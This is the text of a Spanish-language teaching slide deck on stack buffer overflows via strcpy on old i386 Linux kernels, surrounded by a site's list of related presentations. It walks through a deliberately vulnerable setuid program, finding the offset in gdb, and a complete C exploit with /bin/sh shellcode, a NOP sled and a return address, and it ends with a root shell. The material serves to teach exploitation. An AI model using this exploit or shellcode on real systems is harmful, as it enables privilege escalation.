STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García.

Slides:



Advertisements
Presentaciones similares
Introducción a C++ Sistemas Operativos
Advertisements

Universidad Tecnológica Nacional Facultad Regional Buenos Aires Ingeniería en Sistemas de Información Introducción a C Sistemas Operativos.
Universidad Tecnológica Nacional Facultad Regional Buenos Aires Ingeniería en Sistemas de Información Introducción a C Sistemas Operativos.
Curvas y Superficies Referencia – capítulo 11 del Libro Rojo.
Memoria Compartida Llave de acceso Segmento Compartido 1234 estructura
Ejemplo didáctico – Convención de Llamada a Funciones ANSI C: _CDECL.
Universidad Tecnológica Nacional Facultad Regional Buenos Aires Ingeniería en Sistemas de Información Funciones Útiles fork() Sistemas Operativos.
Instrucciones Básicas Entrada de Información
Programando con OpenMP*
Pipes ARISO 2 Rubén Barrio Guerrero
Ejemplo de Programa C++
Programación Orientada a Objetos en C++
INF 1400: Redes de Computadores
Algoritmos paralelos Lab. 1: Introducción
Historia y Sistemas UNIX
LOGROS DEL PERÍODO Utiliza de forma correcta las funciones para entrada y salida de datos en c++. Utiliza los elementos básicos de un programa en c++.
Programacion de Computadora Prof. Obadiah Oghoerore.
Informática I Código Semestre Para Ingeniería Electrónica e Ingeniería de Telecomunicaciones Profesor: Sebastián Isaza.
Funciones. Programación, Algoritmos y Estructuras de Datos.
INFORMATICA I Funciones CLASE 13.
Aplicaciones Multihilo
Prof. Franklin Cedeño. FUNCIONES EN C++ Cuando tratamos de resolver un problema, resulta muy útil utilizar la filosofía de “divide y vencerás”. Esta estrategia.
Algoritmos y Estructuras de Datos
BUFFER OVERFLOW Y EXPLOITS
Funciones Funciones De biblioteca Definidas por el usuario
SOBRECARGA DE FUNCIONES
Estructuras de Datos Cont. C++ y Tipos de Datos. Ejemplo: Vector de Objetos #include class estudiante { private: int aCarne; char aNombre[20]; float aNota;
Método en Java.
Compiladores Análisis Léxico Oscar Bonilla Universidad Galileo.
FUNCIONES EN C.
CI TEORIA semana 8 Subprogramas o funciones Definición de funciones.
Programación I Teoría VI: Recursividad
Estructuración y modularidad de los programas Fundamentos de Programación/ Programación I
Multiprogramación Procesos Cecilia Hernández
Creación de Aplicaciones
WhoamI #BBOOTN. WhoamI Big Buffer Overflow Over The Network Y bla bla bla…
Unidad I Java y C++ : Similitudes y diferencias
Programa “Coordenadas” Ing. Arturo Díaz Vargas Departamento de Sistemas División de Ciencias Básicas e Ingeniería UNIVERSIDAD AUTONOMA METROPOLITANA.
LENGUAJE “C” Programación.
Archivos Programación.
Asignatura: Lenguaje de Programación de Sistemas PPT No.05 Programa vespertino de Ingeniería (E) en Sistemas Computacionales Profesor: José Estay Araya.
Signal, kill, sigaction y máscara de señales
Shellcodes Eduardo Ruiz Duarte Rommel Sanchez Verdejo
Tres Algoritmos Paralelos para Multiplicación Matriz Vector
Cadenas y apuntadores Programación.
FUNCIONES EN C.
APUNTADORES EN C. MENU DEL DIA Repaso clase anterior Apuntadores. Eso pa que? Solución al problema: Funciones. Ventajas de trabajar un programa usando.
Archivos.
Ejemplos openMP.
Vulnerabilidades WEP en redes a/b/g David Reguera García.
Programación de Memoria Compartida
1 Estructuras de Datos Elementales:stacks (pilas), queues (colas), linked lists (listas enlazadas), y rooted trees (árboles con raíz) Agustín J. González.
ABI Application Binary Interface. Ejemplo en C (by Hernán Perez) void proc(int i); int main(int argc, char** argv) { int i=10; proc(i); return 0; } void.
Clase 10 Apuntadores & Memoria Dinámica
Un ejemplo de uso de estos operadores: int a, b, c; a = 0xd3; b = 0xf5; c = 0x1e; d =a |b; d =b &c; d =a ^c; d = ~c; d =c 4 Equivale a
Punteros.
PIC16F877 Timers.
1 Algunas ideas básicas en C++ Agustín J. González ELO-329.
Entrada / Salida Streams Archivos Algoritmos y Estructuras de Datos I Departamento de Computación, Facultad de Ciencias Exactas y Naturales, Universidad.
Entrada / Salida Streams Archivos Algoritmos y Estructuras de Datos I Departamento de Computación, Facultad de Ciencias Exactas y Naturales, Universidad.
1 Algunas ideas básicas de C++ Agustín J. González ELO-329.
1 Algunas ideas básicas de C++ Agustín J. González ELO-329.
Programar PIC`s en lenguaje C18 En 64 horas.
Metodología de Programación Ayudantía 4 lelagos.ublog.cl 2009.
TIPOS DE DATOS Estructuras de control y repetición PARCIAL III.
TIPOS DE DATOS PARCIAL III Punteros. Un puntero es una variable que hace referencia a una dirección de memoria Sintaxis: Tipo_Dato *nombre_variable_puntero;
Lenguaje Java  Todo programa Java es compilado y después interpretado  Independencia de la plataforma Programa Java fichero.java Byte code fichero.class.
Desbordamiento de buffer remoto Conceptos básicos (CPU Intel x86)
El lenguaje de Programación C Fernando J. Pereda.
Entrada / Salida Streams Archivos
Transcripción de la presentación:

STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García.

Índice Presentación. Presentación. Conocimientos previos. Conocimientos previos. ¿Qué es un buffer overflow? ¿Qué es un buffer overflow? ¿Qué es un stack buffer overflow? ¿Qué es un stack buffer overflow? ¿Por qué en i386 y nucleos 2.4/2.6? ¿Por qué en i386 y nucleos 2.4/2.6? ¿Qué son los exploits? ¿Qué son los exploits? ¿Qué es una shellcode? ¿Qué es una shellcode? Demostración de explotación Demostración de explotación Solución. Solución. Despedida Despedida

Conocimientos previos. Base sólida de ASM, sintaxis AT&T. Base sólida de ASM, sintaxis AT&T. Conocimientos ANSI C y programación. Conocimientos ANSI C y programación. Nivel usuario de linux. Nivel usuario de linux. Depurador y funciones. Depurador y funciones. Conocer GDB. Conocer GDB.

Demostración de una explotación. abo1.c #include int main( int argc, char *argv[] ) { char buffer[50]; if ( argc > 1 ) strcpy( buffer, argv[1] ); return 0; }

Demostración de una explotación. [/home/fr33project]# gcc –o abo1 abo1.c [/home/fr33project]# gcc –o abo1 abo1.c [/home/fr33project]# chmod u+s abo1 [/home/fr33project]# chmod u+s abo1 [/home/fr33project]# su fr33project [/home/fr33project]# su fr33project fr33project [/home/fr33project]#./abo1 `perl –e ‘print “A” x 80’` fr33project [/home/fr33project]#./abo1 `perl –e ‘print “A” x 80’` Segmentation Fault. Segmentation Fault.

Demostración de una explotación. La pila con strcpy: La pila con strcpy: Bytes: Nombre: %eip %esp buffer  Entrada de datos.

Demostración de una explotación. Como queremos la pila: Como queremos la pila: Bytes: Nombre: [%eip] [%esp] [buffer] Valor: [ SC ] [ Shellcode ]

Demostración de una explotación. Como quedará la pila: Como quedará la pila: Bytes: Nombre: [%eip] [%esp] [buffer y alineamiento] Valor: [ SC ] [ Shellcode y NOPS ]

Demostración de una explotación. Comprobando espacio hasta sobreescribir %eip: Comprobando espacio hasta sobreescribir %eip: fr33project [/home/fr33project]# gdb abo1 (gdb) r `perl -e 'print "A" x 70'` Program exited normally. … … (gdb) r `perl -e 'print "A" x 80'` Program received signal SIGSEGV, Segmentation fault. 0x in ?? ()

Demostración de una explotación. Creando el exploit: 1) Shellcode de 51 bytes. 2) 25 NOPS. 3) Dirección de SC 4 bytes.

Demostración de una explotación. xpl.c xpl.c #include #include int main( void ) { char sc[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

Demostración de una explotación. xpl.c xpl.c int i; char buff[80]; for ( i = 0; i < 26; i++ ) buff[i] = '\x90'; for ( i = 26; i < 76; i++ ) buff[i] = sc[i-26];

Demostración de una explotación. xpl.c xpl.c buff[79] = 0xbf; // Dirección cualquiera. buff[78] = 0xff; buff[77] = 0xff; buff[76] = 0xff; execl( "./abo1", "abo1", buff, NULL ); return 0; }

Demostración de una explotación. fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gdb xpl fr33project [/home/fr33project]# gdb xpl (gdb) r Starting program: /home/fr33project/esi/xpl Program received signal SIGSEGV, Segmentation fault. 0xffffffbf in ?? ()

Demostración de una explotación. (gdb) x/30xw $esp-100 (gdb) x/30xw $esp-100 0xbffff80c: 0x080483c1 0xbffff820 0xbffffa24 0xb80009b8 0xbffff81c: 0xbffff8f4 0x x x xbffff82c: 0x x x x24eb9090 0xbffff83c: 0x891e8d5e 0xd2330b5e 0x x1bb80f56 0xbffff84c: 0x x x8b0b4e8d 0x3380cdd1 0xbffff85c: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e 0xbffff86c: 0xffffffbf 0x0177ff8e 0xbffff8e0 0xbf0009b8 0xbffff87c: 0x xb7fd9038 (gdb)

Demostración de una explotación. Adaptando el xpl.c: Adaptando el xpl.c: buff[79] = 0xbf; buff[78] = 0xff; buff[77] = 0xf8; buff[76] = 0x3c;

Demostración de una explotación. fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# id fr33project [/home/fr33project]# id uid=1000(fr33project) gid=1000(fr33project). fr33project [/home/fr33project]#./xpl fr33project [/home/fr33project]#./xpl sh-3.00# id sh-3.00# id uid=1000(fr33project) gid=1000(fr33project) euid=0(root)

Solución Una buena metodología. Una buena metodología. Usar strncpy. Usar strncpy.

Despedida. Direcciones con información: Direcciones con información: \ \ Agradecimientos: Agradecimientos: #blackhats 2003 ~ 2004, IRC-HISPANO. #blackhats 2003 ~ 2004, IRC-HISPANO.